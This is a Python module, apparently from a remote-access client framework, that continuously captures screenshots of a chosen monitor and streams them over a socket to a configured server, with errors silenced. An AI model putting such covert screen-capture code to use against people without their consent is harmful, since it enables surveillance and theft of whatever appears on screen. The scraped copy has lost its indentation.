1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
|
'''
Creates a connection to the server, sending a stream
of screenshots from the specified monitor. Splitting
up the work in to two threads, one for taking the
screenshot, the other to send it.
Verified: 2021 February 6
* Follows PEP8
* Tested Platforms
* Windows 10
* Third Party Modules
* mss
'''
from client.modules.module import Module
from shared.helper import Helper
from shared.state import Static
from shared.error import Error
from shared.data import Data
import mss.tools
import socket
import queue
import mss
if Static.WINDOWS:
import ctypes
# NOTE : Sets monitor DPI (zoom) to 100%,
# laptops usually have their DPI set to 125%,
# by default which this line will fix
Error.quiet(
ctypes.windll.user32.SetProcessDPIAware)()
class Desktop(Module):
__MAX_SIZE = 1
def __init__(self, token):
super().__init__(token)
self.__queue = queue.Queue(Desktop.__MAX_SIZE)
@Error.quiet_thread
def __grab(self, monitor):
with mss.mss() as sct:
size = sct.monitors[monitor]
while True:
screenshot = sct.grab(size)
screenshot = mss.tools.to_png(screenshot.rgb,
screenshot.size)
self.__queue.put(screenshot,
timeout=Static.LIVE_TIMEOUT)
@Error.quiet_thread
def __send(self):
with socket.create_connection(
(Static.IP, Static.PORT)) as sock:
Data.send(sock, self.token)
Data.recv(sock)
while True:
Data.send(sock, self.__queue.get(
timeout=Static.LIVE_TIMEOUT), False)
Data.recv(sock)
def live(self, monitor):
Helper.thread(self.__send)
Helper.thread(self.__grab, monitor)
|
